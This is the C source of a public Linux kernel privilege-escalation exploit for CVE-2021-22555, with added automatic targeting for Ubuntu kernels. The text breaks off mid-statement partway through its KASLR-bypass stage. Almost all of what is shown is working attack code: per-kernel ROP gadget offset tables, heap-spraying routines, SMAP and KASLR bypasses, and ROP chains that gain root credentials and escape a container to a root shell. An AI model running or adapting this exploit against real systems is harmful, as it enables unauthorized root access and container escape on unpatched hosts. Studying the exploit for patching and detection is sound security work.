/* * CVE-2021-22555: Turning \x00\x00 into 10000$ * by Andy Nguyen (theflow@) * * theflow@theflow:~$ gcc -m32 -static -o exploit -Wall exploit.c * theflow@theflow:~$ ./exploit * [+] Linux Privilege Escalation by theflow@ - 2021 * * [+] STAGE 0: Initialization * [*] Setting up namespace sandbox... * [*] Initializing sockets and message queues... * * [+] STAGE 1: Memory corruption * [*] Spraying primary messages... * [*] Spraying secondary messages... * [*] Creating holes in primary messages... * [*] Triggering out-of-bounds write... * [*] Searching for corrupted primary message... * [+] fake_idx: ffc * [+] real_idx: fc4 * * [+] STAGE 2: SMAP bypass * [*] Freeing real secondary message... * [*] Spraying fake secondary messages... * [*] Leaking adjacent secondary message... * [+] kheap_addr: ffff91a49cb7f000 * [*] Freeing fake secondary messages... * [*] Spraying fake secondary messages... * [*] Leaking primary message... * [+] kheap_addr: ffff91a49c7a0000 * * [+] STAGE 3: KASLR bypass * [*] Freeing fake secondary messages... * [*] Spraying fake secondary messages... * [*] Freeing sk_buff data buffer... * [*] Spraying pipe_buffer objects... * [*] Leaking and freeing pipe_buffer object... * [+] anon_pipe_buf_ops: ffffffffa1e78380 * [+] kbase_addr: ffffffffa0e00000 * * [+] STAGE 4: Kernel code execution * [*] Spraying fake pipe_buffer objects... * [*] Releasing pipe_buffer objects... * [*] Checking for root... * [+] Root privileges gained. * * [+] STAGE 5: Post-exploitation * [*] Escaping container... * [*] Cleaning up... * [*] Popping root shell... * root@theflow:/# id * uid=0(root) gid=0(root) groups=0(root) * root@theflow:/# * * Exploit tested on Ubuntu 5.8.0-48-generic and COS 5.4.89+. * --- * Updated by * - automatic targeting for Ubuntu kernels * - additional kernel targets * * https://github.com/bcoles/kernel-exploits/tree/master/CVE-2021-22555 */ // clang-format off #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include // clang-format on #define PAGE_SIZE 0x1000 #define PRIMARY_SIZE 0x1000 #define SECONDARY_SIZE 0x400 #define NUM_SOCKETS 4 #define NUM_SKBUFFS 128 #define NUM_PIPEFDS 256 // Note: Must be smaller than maximum permitted number of IPC message queues // Ubuntu default: /proc/sys/kernel/msgmni = 32000 // Failed exploitation attempts will exhaust available queues #define NUM_MSQIDS 4096 #define HOLE_STEP 1024 #define MTYPE_PRIMARY 0x41 #define MTYPE_SECONDARY 0x42 #define MTYPE_FAKE 0x1337 #define MSG_TAG 0xAAAAAAAA // Can be overwritten by argv[1] char *SHELL = "/bin/sh"; #define ENABLE_SYSTEM_CHECKS 1 // Note: Targets are mutually exclusive #define TARGET_UBUNTU 1 #define TARGET_COS 0 #if TARGET_UBUNTU && TARGET_COS #error "Targets are mutually exclusive. Choose one." #endif // clang-format off #if TARGET_UBUNTU // Will be overwritten by detect_versions(). int kernel = -1; // kernel target struct, using ROP chain from theflow's exploit struct kernel_info { const char *kernel_version; uint64_t ops_release; //: push rsi ; jmp qword ptr [rsi + 0x39] uint64_t pop_rsp_ret; //: pop rsp; ret; uint64_t add_rsp_d0_ret; //: add rsp, 0xd0; ret; uint64_t enter_0_0_pop_rbx_pop_r12_pop_rbp_ret; //: enter 0, 0 ; pop rbx ; pop r12 ; pop rbp ; ret uint64_t mov_qword_ptr_r12_rbx_pop_rbx_pop_r12_pop_rbp_ret; //: mov qword ptr [r12], rbx ; pop rbx ; pop r12 ; pop rbp ; ret uint64_t push_qword_ptr_rbp_a_pop_rbp_ret; //: push qword ptr [rbp + 0xa] ; pop rbp ; ret uint64_t mov_rsp_rbp_pop_rbp_ret; //: mov rsp, rbp ; pop rbp ; ret uint64_t pop_rcx_ret; //: pop rcx ; ret uint64_t pop_rsi_ret; //: pop rsi ; ret uint64_t pop_rdi_ret; //: pop rdi ; ret uint64_t pop_rbp_ret; //: pop rbp ; ret uint64_t mov_rdi_rax_jne_xor_eax_eax_ret; //: mov rdi, rax ; jne 0xffffffff81559821; xor eax, eax ; ret uint64_t cmp_rcx_4_jne_pop_rbp_ret; //: cmp rcx, 4 ; jne 0xffffffff810724b9 ; pop rbp ; ret uint64_t find_task_by_vpid; uint64_t switch_task_namespaces; uint64_t commit_creds; uint64_t prepare_kernel_cred; uint64_t anon_pipe_buf_opts; uint64_t init_nsproxy; }; // Targets struct kernel_info kernels[] = { { "5.8.0-53-lowlatency #60~20.04.1-Ubuntu", 0x6fa3a3, 0x17e7b0, 0x06f3a9, 0x1a87f3, 0x086f63, 0x6ba2bf, 0x08b3dc, 0x3781c3, 0x03c77e, 0x08b470, 0x0005ae, 0x567c54, 0x0744cb, 0xc2600L, 0xc2600L, 0xcb790L, 0xcbc20L, 0x1078440L, 0x1664000L }, { "5.8.0-53-generic #60~20.04.1-Ubuntu", 0x6eb913, 0x128700, 0x6dbe9, 0x1a24f3, 0x84de3, 0x6ab93f, 0x891bc, 0x474883, 0x680cf6, 0x89250, 0x5AE, 0x559834, 0x724db, 0xbfc20, 0xc7b20, 0xc8d50, 0xc91e0, 0x10783c0, 0x1663080 }, { "5.8.0-50-generic #56~20.04.1-Ubuntu", 0x6ea8c3, 0x1d9bf0, 0x6db79, 0x1a2093, 0x84de3, 0x6aa99f, 0x891bc, 0x2619c3, 0x8d992, 0x89250, 0x5ae, 0x558934, 0x724db, 0xbfc40, 0xc7ad0, 0xc8d00, 0xc9190, 0x10783c0, 0x1663080 }, { "5.8.0-49-generic #55~20.04.1-Ubuntu", 0x6ea8c3, 0x1d9bc0, 0x6db79, 0x1a2063, 0x84de3, 0x6aa99f, 0x891bc, 0x191133, 0x8d992, 0x89250, 0x5ae, 0x558934, 0x724db, 0xbfc10, 0xc7aa0, 0xc8cd0, 0xc9160, 0x10783c0, 0x1663080 }, { "5.8.0-48-generic #54~20.04.1-Ubuntu", 0x6E9783, 0x9B6C0, 0x6DB59, 0x1A21C3, 0x84DE3, 0x6A98FF, 0x891BC, 0xF5633, 0x1ABAAE, 0x89250, 0x5AE, 0x557894, 0x724DB, 0xBFBC0, 0xC7A50, 0xC8C80, 0xC9110, 0x1078380, 0x1663080 }, { "5.8.0-45-generic #51~20.04.1-Ubuntu", 0x6e9693, 0x1d9d20, 0x6db59, 0x1a21c3, 0x84de3, 0x6a980f, 0x891bc, 0xf5633, 0x22207e, 0x89250, 0x5ae, 0x5577a4, 0x724db, 0xbfbc0, 0xc7a50, 0xc8c80, 0xc9110, 0x1078380, 0x1663080 }, { "5.8.0-44-generic #50~20.04.1-Ubuntu", 0x6e93e3, 0x1d9ad0, 0x6db89, 0x1a1f73, 0x84de3, 0x6a955f, 0x891bc, 0xf5613, 0x133f8e, 0x89250, 0x5ae, 0x557344, 0x724db, 0xbfbb0, 0xc7a30, 0xc8c60, 0xc90f0, 0x1078380, 0x1663080, }, { "5.8.0-43-generic #49~20.04.1-Ubuntu", 0x7191b3, 0x1a5f80, 0x72dd9, 0x1b36a3, 0x8b5d3, 0x6d656f, 0x904fc, 0x788153, 0x8f5a1, 0x3cafd, 0x5ae, 0x5755c4, 0x7764b, 0xc8c00, 0xd0be0, 0xd1e10, 0xd22a0, 0x1078380, 0x1663040, }, { "5.8.0-41-generic #46~20.04.1-Ubuntu", 0x7191b3, 0x1a5f80, 0x72dd9, 0x1b36a3, 0x8b5d3, 0x6d656f, 0x904fc, 0x788153, 0x8f5a1, 0x3cafd, 0x5ae, 0x5755c4, 0x7764b, 0xc8c00, 0xd0be0, 0xd1e10, 0xd22a0, 0x1078380, 0x1663040, }, { "5.8.0-40-generic #45~20.04.1-Ubuntu", 0x7191b3, 0x1a5f80, 0x72dd9, 0x1b36a3, 0x8b5d3, 0x6d656f, 0x904fc, 0x788153, 0x8f5a1, 0x3cafd, 0x5ae, 0x5755c4, 0x7764b, 0xc8c00, 0xd0be0, 0xd1e10, 0xd22a0, 0x1078380, 0x1663040, }, { "5.8.0-38-generic #43~20.04.1-Ubuntu", 0x7191b3, 0x1a5f80, 0x72dd9, 0x1b36a3, 0x08b5d3, 0x6d656f, 0x0904fc, 0x788153, 0x08f5a1, 0x03cafd, 0x0005ae, 0x5755c4, 0x07764b, 0xc8c00, 0xd0be0, 0xd1e10, 0xd22a0, 0x1078380, 0x1663040 }, { "5.8.0-36-generic #40~20.04.1-Ubuntu", 0x7191b3, 0x1a5f80, 0x072dd9, 0x1b36a3, 0x08b5d3, 0x6d656f, 0x0904fc, 0x788153, 0x08f5a1, 0x03cafd, 0x0005ae, 0x5755c4, 0x07764b, 0xc8c00, 0xd0be0, 0xd1e10, 0xd22a0, 0x1078380, 0x1663040 }, { "5.8.0-34-generic #37~20.04.2-Ubuntu", 0x7191b3, 0x1a5f80, 0x072dd9, 0x1b36a3, 0x08b5d3, 0x6d656f, 0x0904fc, 0x788153, 0x08f5a1, 0x03cafd, 0x0005ae, 0x5755c4, 0x07764b, 0xc8c00, 0xd0be0, 0xd1e10, 0xd22a0, 0x1078380, 0x1663040 }, { "5.8.0-33-generic #36~20.04.1-Ubuntu", 0x718773, 0x2aaf7f, 0x072d89, 0x1b3683, 0x08b5d3, 0x6d5b2f, 0x0904fc, 0x787796, 0x10a61e, 0x090590, 0x0005ae, 0x574c24, 0x07764b, 0xc8bf0L, 0xc8bf0L, 0xd1e00L, 0xd2290L, 0x10783c0L, 0x1663040L }, { "5.8.0-29-generic #31~20.04.1-Ubuntu", 0x718093, 0x0c56d0, 0x072d49, 0x1b3603, 0x08b5d3, 0x6d545f, 0x0904fc, 0x137313, 0x08f4f1, 0x090590, 0x0005ae, 0x5745f4, 0x07764b, 0xc8b40L, 0xc8b40L, 0xd1d50L, 0xd21e0L, 0x1078400L, 0x1662e40L }, { "5.8.0-28-generic #30~20.04.1-Ubuntu", 0x718093, 0x0c56d0, 0x072d49, 0x1b3603, 0x08b5d3, 0x6d545f, 0x0904fc, 0x137313, 0x08f4f1, 0x090590, 0x0005ae, 0x5745f4, 0x07764b, 0xc8b40L, 0xc8b40L, 0xd1d50L, 0xd21e0L, 0x1078400L, 0x1662e40L }, { "5.8.0-25-generic #26~20.04.1-Ubuntu", 0x718093, 0x0c56d0, 0x072d49, 0x1b3603, 0x08b5d3, 0x6d545f, 0x0904fc, 0x137313, 0x08f4f1, 0x090590, 0x0005ae, 0x5745f4, 0x07764b, 0xc8b40L, 0xc8b40L, 0xd1d50L, 0xd21e0L, 0x1078400L, 0x1662e40L }, { "5.8.0-23-generic #24~20.04.1-Ubuntu", 0x718073, 0x2aac2f, 0x072d49, 0x1b3603, 0x08b5d3, 0x6d543f, 0x0904fc, 0x137313, 0x08f4f1, 0x090590, 0x0005ae, 0x5745d4, 0x07764b, 0xc8b40L, 0xc8b40L, 0xd1d50L, 0xd21e0L, 0x1078400L, 0x1662e40L }, }; #endif // COS 5.4.89 #if TARGET_COS // 0xffffffff810360f8 : push rax ; jmp qword ptr [rcx] #define OPS_RELEASE 0x360F8 // 0xffffffff815401df : pop rsp ; pop rbx ; ret #define POP_RSP_POP_RBX_RET 0x5401DF // 0xffffffff816d3a65 : enter 0, 0 ; pop rbx ; pop r14 ; pop rbp ; ret #define ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET 0x6D3A65 // 0xffffffff814ddfa8 : mov qword ptr [r14], rbx ; pop rbx ; pop r14 ; pop rbp ; ret #define MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET 0x4DDFA8 // 0xffffffff81073972 : push qword ptr [rbp + 0x25] ; pop rbp ; ret #define PUSH_QWORD_PTR_RBP_25_POP_RBP_RET 0x73972 // 0xffffffff8106748c : mov rsp, rbp ; pop rbp ; ret #define MOV_RSP_RBP_POP_RBP_RET 0x6748C // 0xffffffff810c7c80 : pop rdx ; ret #define POP_RDX_RET 0xC7C80 // 0xffffffff8143a2b4 : pop rsi ; ret #define POP_RSI_RET 0x43A2B4 // 0xffffffff81067520 : pop rdi ; ret #define POP_RDI_RET 0x67520 // 0xffffffff8100054b : pop rbp ; ret #define POP_RBP_RET 0x54B // 0xffffffff812383a6 : mov rdi, rax ; jne 0xffffffff81238396 ; pop rbp ; ret #define MOV_RDI_RAX_JNE_POP_RBP_RET 0x2383A6 // 0xffffffff815282e1 : cmp rdx, 1 ; jne 0xffffffff8152831d ; pop rbp ; ret #define CMP_RDX_1_JNE_POP_RBP_RET 0x5282E1 #define FIND_TASK_BY_VPID 0x963C0 #define SWITCH_TASK_NAMESPACES 0x9D080 #define COMMIT_CREDS 0x9EC10 #define PREPARE_KERNEL_CRED 0x9F1F0 #define ANON_PIPE_BUF_OPS 0xE51600 #define INIT_NSPROXY 0x1250590 #endif // clang-format on #define SKB_SHARED_INFO_SIZE 0x140 #define MSG_MSG_SIZE (sizeof(struct msg_msg)) #define MSG_MSGSEG_SIZE (sizeof(struct msg_msgseg)) struct msg_msg { uint64_t m_list_next; uint64_t m_list_prev; uint64_t m_type; uint64_t m_ts; uint64_t next; uint64_t security; }; struct msg_msgseg { uint64_t next; }; struct pipe_buffer { uint64_t page; uint32_t offset; uint32_t len; uint64_t ops; uint32_t flags; uint32_t pad; uint64_t private; }; struct pipe_buf_operations { uint64_t confirm; uint64_t release; uint64_t steal; uint64_t get; }; struct { long mtype; char mtext[PRIMARY_SIZE - MSG_MSG_SIZE]; } msg_primary; struct { long mtype; char mtext[SECONDARY_SIZE - MSG_MSG_SIZE]; } msg_secondary; struct { long mtype; char mtext[PAGE_SIZE - MSG_MSG_SIZE + PAGE_SIZE - MSG_MSGSEG_SIZE]; } msg_fake; void build_msg_msg(struct msg_msg *msg, uint64_t m_list_next, uint64_t m_list_prev, uint64_t m_ts, uint64_t next) { msg->m_list_next = m_list_next; msg->m_list_prev = m_list_prev; msg->m_type = MTYPE_FAKE; msg->m_ts = m_ts; msg->next = next; msg->security = 0; } int write_msg(int msqid, const void *msgp, size_t msgsz, long msgtyp) { *(long *)msgp = msgtyp; if (msgsnd(msqid, msgp, msgsz - sizeof(long), 0) < 0) { perror("[-] msgsnd"); return -1; } return 0; } int peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, MSG_COPY | IPC_NOWAIT) < 0) { perror("[-] msgrcv"); return -1; } return 0; } int read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) { if (msgrcv(msqid, msgp, msgsz - sizeof(long), msgtyp, 0) < 0) { perror("[-] msgrcv"); return -1; } return 0; } int spray_skbuff(int ss[NUM_SOCKETS][2], const void *buf, size_t size) { for (int i = 0; i < NUM_SOCKETS; i++) { for (int j = 0; j < NUM_SKBUFFS; j++) { if (write(ss[i][0], buf, size) < 0) { perror("[-] write"); return -1; } } } return 0; } int free_skbuff(int ss[NUM_SOCKETS][2], void *buf, size_t size) { for (int i = 0; i < NUM_SOCKETS; i++) { for (int j = 0; j < NUM_SKBUFFS; j++) { if (read(ss[i][1], buf, size) < 0) { perror("[-] read"); return -1; } } } return 0; } int trigger_oob_write(int s) { struct __attribute__((__packed__)) { struct ipt_replace replace; struct ipt_entry entry; struct xt_entry_match match; char pad[0x108 + PRIMARY_SIZE - 0x200 - 0x2]; struct xt_entry_target target; } data = {0}; data.replace.num_counters = 1; data.replace.num_entries = 1; data.replace.size = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad) + sizeof(data.target)); data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad) + sizeof(data.target)); data.entry.target_offset = (sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad)); data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad)); strcpy(data.match.u.user.name, "icmp"); data.match.u.user.revision = 0; data.target.u.user.target_size = sizeof(data.target); strcpy(data.target.u.user.name, "NFQUEUE"); data.target.u.user.revision = 1; // Partially overwrite the adjacent buffer with 2 bytes of zero. if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) { if (errno == ENOPROTOOPT) { printf("[-] Error ip_tables module is not loaded.\n"); return -1; } } return 0; } #if TARGET_COS // Note: Must not touch offset 0x10-0x18. void build_krop_cos(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) { uint64_t *rop; *(uint64_t *)&buf[0x00] = kbase_addr + POP_RSP_POP_RBX_RET; rop = (uint64_t *)&buf[0x18]; // Save RBP at scratchpad_addr. *rop++ = kbase_addr + ENTER_0_0_POP_RBX_POP_R14_POP_RBP_RET; *rop++ = scratchpad_addr; // R14 *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + MOV_QWORD_PTR_R14_RBX_POP_RBX_POP_R14_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBX *rop++ = 0xDEADBEEF; // R14 *rop++ = 0xDEADBEEF; // RBP // commit_creds(prepare_kernel_cred(NULL)) *rop++ = kbase_addr + POP_RDI_RET; *rop++ = 0; // RDI *rop++ = kbase_addr + PREPARE_KERNEL_CRED; *rop++ = kbase_addr + POP_RDX_RET; *rop++ = 1; // RDX *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + COMMIT_CREDS; // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) *rop++ = kbase_addr + POP_RDI_RET; *rop++ = 1; // RDI *rop++ = kbase_addr + FIND_TASK_BY_VPID; *rop++ = kbase_addr + POP_RDX_RET; *rop++ = 1; // RDX *rop++ = kbase_addr + CMP_RDX_1_JNE_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + MOV_RDI_RAX_JNE_POP_RBP_RET; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + POP_RSI_RET; *rop++ = kbase_addr + INIT_NSPROXY; // RSI *rop++ = kbase_addr + SWITCH_TASK_NAMESPACES; // Load RBP from scratchpad_addr and resume execution. *rop++ = kbase_addr + POP_RBP_RET; *rop++ = scratchpad_addr - 0x25; // RBP *rop++ = kbase_addr + PUSH_QWORD_PTR_RBP_25_POP_RBP_RET; *rop++ = kbase_addr + MOV_RSP_RBP_POP_RBP_RET; } #endif #if TARGET_UBUNTU // Note: Must not touch offset 0x10-0x18. void build_krop_ubuntu(char *buf, uint64_t kbase_addr, uint64_t scratchpad_addr) { uint64_t *rop; *(uint64_t *)&buf[0x39] = kbase_addr + kernels[kernel].pop_rsp_ret; *(uint64_t *)&buf[0x00] = kbase_addr + kernels[kernel].add_rsp_d0_ret; rop = (uint64_t *)&buf[0xD8]; // Save RBP at scratchpad_addr. *rop++ = kbase_addr + kernels[kernel].enter_0_0_pop_rbx_pop_r12_pop_rbp_ret; *rop++ = scratchpad_addr; // R12 *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + kernels[kernel].mov_qword_ptr_r12_rbx_pop_rbx_pop_r12_pop_rbp_ret; *rop++ = 0xDEADBEEF; // RBX *rop++ = 0xDEADBEEF; // R12 *rop++ = 0xDEADBEEF; // RBP // commit_creds(prepare_kernel_cred(NULL)) *rop++ = kbase_addr + kernels[kernel].pop_rdi_ret; *rop++ = 0; // RDI *rop++ = kbase_addr + kernels[kernel].prepare_kernel_cred; *rop++ = kbase_addr + kernels[kernel].pop_rcx_ret; *rop++ = 4; // RCX *rop++ = kbase_addr + kernels[kernel].cmp_rcx_4_jne_pop_rbp_ret; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + kernels[kernel].mov_rdi_rax_jne_xor_eax_eax_ret; *rop++ = kbase_addr + kernels[kernel].commit_creds; // switch_task_namespaces(find_task_by_vpid(1), init_nsproxy) *rop++ = kbase_addr + kernels[kernel].pop_rdi_ret; *rop++ = 1; // RDI *rop++ = kbase_addr + kernels[kernel].find_task_by_vpid; *rop++ = kbase_addr + kernels[kernel].pop_rcx_ret; *rop++ = 4; // RCX *rop++ = kbase_addr + kernels[kernel].cmp_rcx_4_jne_pop_rbp_ret; *rop++ = 0xDEADBEEF; // RBP *rop++ = kbase_addr + kernels[kernel].mov_rdi_rax_jne_xor_eax_eax_ret; *rop++ = kbase_addr + kernels[kernel].pop_rsi_ret; *rop++ = kbase_addr + kernels[kernel].init_nsproxy; // RSI *rop++ = kbase_addr + kernels[kernel].switch_task_namespaces; // Load RBP from scratchpad_addr and resume execution. *rop++ = kbase_addr + kernels[kernel].pop_rbp_ret; *rop++ = scratchpad_addr - 0xA; // RBP *rop++ = kbase_addr + kernels[kernel].push_qword_ptr_rbp_a_pop_rbp_ret; *rop++ = kbase_addr + kernels[kernel].mov_rsp_rbp_pop_rbp_ret; } #endif int setup_sandbox(void) { if (unshare(CLONE_NEWUSER) < 0) { perror("[-] unshare(CLONE_NEWUSER)"); return -1; } if (unshare(CLONE_NEWNET) < 0) { perror("[-] unshare(CLONE_NEWNET)"); return -1; } cpu_set_t set; CPU_ZERO(&set); CPU_SET(0, &set); if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) { perror("[-] sched_setaffinity"); return -1; } return 0; } #if TARGET_UBUNTU struct utsname get_kernel_version() { struct utsname u; int rv = uname(&u); if (rv != 0) { printf("[-] uname()\n"); exit(EXIT_FAILURE); } return u; } #define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0])) #define KERNEL_VERSION_SIZE_BUFFER 512 int detect_versions() { struct utsname u; char kernel_version[KERNEL_VERSION_SIZE_BUFFER]; u = get_kernel_version(); if (strstr(u.machine, "64") == NULL) { printf("[-] system is not using a 64-bit kernel\n"); return -1; } if (strstr(u.version, "-Ubuntu") == NULL) { printf("[-] system is not using an Ubuntu kernel\n"); return -1; } char *u_ver = strtok(u.version, " "); snprintf(kernel_version, KERNEL_VERSION_SIZE_BUFFER, "%s %s", u.release, u_ver); int i; for (i = 0; i < ARRAY_SIZE(kernels); i++) { if (strcmp(kernel_version, kernels[i].kernel_version) == 0) { printf("[+] kernel version '%s' detected\n", kernels[i].kernel_version); kernel = i; return 0; } } printf("[-] kernel version '%s' not recognized\n", kernel_version); return -1; } #endif #if ENABLE_SYSTEM_CHECKS static int check_env() { int s; if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("[-] socket"); return -1; } if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, NULL, 0) != 0) { if (errno == ENOPROTOOPT) { printf("[-] Error ip_tables module is not loaded.\n"); return -1; } } if (close(s) < 0) perror("[-] close"); FILE *f = fopen("/proc/sys/kernel/msgmni", "r"); if (f == NULL) { perror("[-] fopen(/proc/sys/kernel/msgmni)"); return -1; } size_t sz = 0; char *line = 0; ssize_t lsz = getline(&line, &sz, f); if (lsz == 0) { perror("[-] getline()"); return -1; } unsigned long int msgmni = atol(line); if (msgmni < NUM_MSQIDS) { printf("[-] Error number of IPC message queues (%d) larger than maximum " "permitted queues (kernel.msgmni=%ld)\n", NUM_MSQIDS, msgmni); } struct stat st; if (stat("/dev/grsec", &st) == 0) { printf("[!] Warning: grsec is in use\n"); } if (stat("/proc/sys/lkrg", &st) == 0) { printf("[!] Warning: lkrg is in use\n"); } return 0; } #endif int main(int argc, char *argv[]) { if (argc > 1) SHELL = argv[1]; int s; int fd; int ss[NUM_SOCKETS][2]; int pipefd[NUM_PIPEFDS][2]; int msqid[NUM_MSQIDS]; // char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE]; // unused? char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE]; struct msg_msg *msg; struct pipe_buf_operations *ops; struct pipe_buffer *buf; uint64_t pipe_buffer_ops = 0; uint64_t kheap_addr = 0, kbase_addr = 0; int fake_idx = -1, real_idx = -1; printf("[+] Linux Privilege Escalation by theflow@ - 2021\n"); printf("[+] Netfilter heap out-of-bounds write (CVE-2021-22555)\n"); printf("\n"); printf("[+] STAGE 0: Initialization\n"); #if TARGET_UBUNTU printf("[*] Checking kernel version...\n"); if (detect_versions() < 0) goto err_no_rmid; #endif #if ENABLE_SYSTEM_CHECKS printf("[*] Checking environment...\n"); if (check_env() < 0) goto err_no_rmid; #endif printf("[*] Setting up namespace sandbox...\n"); if (setup_sandbox() < 0) goto err_no_rmid; printf("[*] Initializing sockets and message queues...\n"); if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("[-] socket"); goto err_no_rmid; } for (int i = 0; i < NUM_SOCKETS; i++) { if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) { perror("[-] socketpair"); goto err_no_rmid; } } for (int i = 0; i < NUM_MSQIDS; i++) { if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) { perror("[-] msgget"); goto err_no_rmid; } } printf("\n"); printf("[+] STAGE 1: Memory corruption\n"); printf("[*] Spraying primary messages...\n"); for (int i = 0; i < NUM_MSQIDS; i++) { memset(&msg_primary, 0, sizeof(msg_primary)); *(int *)&msg_primary.mtext[0] = MSG_TAG; *(int *)&msg_primary.mtext[4] = i; if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < 0) goto err_rmid; } printf("[*] Spraying secondary messages...\n"); for (int i = 0; i < NUM_MSQIDS; i++) { memset(&msg_secondary, 0, sizeof(msg_secondary)); *(int *)&msg_secondary.mtext[0] = MSG_TAG; *(int *)&msg_secondary.mtext[4] = i; if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), MTYPE_SECONDARY) < 0) goto err_rmid; } printf("[*] Creating holes in primary messages...\n"); for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) { if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < 0) goto err_rmid; } printf("[*] Triggering out-of-bounds write...\n"); if (trigger_oob_write(s) < 0) goto err_rmid; printf("[*] Searching for corrupted primary message...\n"); for (int i = 0; i < NUM_MSQIDS; i++) { if (i != 0 && (i % HOLE_STEP) == 0) continue; if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0) goto err_no_rmid; if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) { printf("[-] Error could not corrupt any primary message.\n"); goto err_no_rmid; } if (*(int *)&msg_secondary.mtext[4] != i) { fake_idx = i; real_idx = *(int *)&msg_secondary.mtext[4]; break; } } if (fake_idx == -1 && real_idx == -1) { printf("[-] Error could not corrupt any primary message.\n"); goto err_no_rmid; } // fake_idx's primary message has a corrupted next pointer; wrongly // pointing to real_idx's secondary message. printf("[+] fake_idx: %x\n", fake_idx); printf("[+] real_idx: %x\n", real_idx); printf("\n"); printf("[+] STAGE 2: SMAP bypass\n"); printf("[*] Freeing real secondary message...\n"); if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary), MTYPE_SECONDARY) < 0) goto err_rmid; // Reclaim the previously freed secondary message with a fake msg_msg of // maximum possible size. printf("[*] Spraying fake secondary messages...\n"); memset(secondary_buf, 0, sizeof(secondary_buf)); build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242, PAGE_SIZE - MSG_MSG_SIZE, 0); if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) goto err_rmid; // Use the fake secondary message to read out-of-bounds. printf("[*] Leaking adjacent secondary message...\n"); if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0) goto err_rmid; // Check if the leak is valid. if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) { printf("[-] Error could not leak adjacent secondary message.\n"); goto err_rmid; } // The secondary message contains a pointer to the primary message. msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE]; kheap_addr = msg->m_list_next; if (kheap_addr & (PRIMARY_SIZE - 1)) kheap_addr = msg->m_list_prev; printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr); if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) { printf("[-] Error kernel heap address is incorrect.\n"); goto err_rmid; } printf("[*] Freeing fake secondary messages...\n"); free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); // Put kheap_addr at next to leak its content. Assumes zero bytes before // kheap_addr. printf("[*] Spraying fake secondary messages...\n"); memset(secondary_buf, 0, sizeof(secondary_buf)); build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242, sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE); if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) goto err_rmid; // Use the fake secondary message to read from kheap_addr. printf("[*] Leaking primary message...\n"); if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0) goto err_rmid; // Check if the leak is valid. if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) { printf("[-] Error could not leak primary message.\n"); goto err_rmid; } // The primary message contains a pointer to the secondary message. msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE]; kheap_addr = msg->m_list_next; if (kheap_addr & (SECONDARY_SIZE - 1)) kheap_addr = msg->m_list_prev; // Calculate the address of the fake secondary message. kheap_addr -= SECONDARY_SIZE; printf("[+] kheap_addr: %" PRIx64 "\n", kheap_addr); if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) { printf("[-] Error kernel heap address is incorrect.\n"); goto err_rmid; } printf("\n"); printf("[+] STAGE 3: KASLR bypass\n"); printf("[*] Freeing fake secondary messages...\n"); free_skbuff(ss, secondary_buf, sizeof(secondary_buf)); // Put kheap_addr at m_list_next & m_list_prev so that list_del() is possible. printf("[*] Spraying fake secondary messages...\n"); memset(secondary_buf, 0, sizeof(secondary_buf)); build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0); if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0) goto err_rmid; printf("[*] Freeing sk_buff data buffer...\n"); if 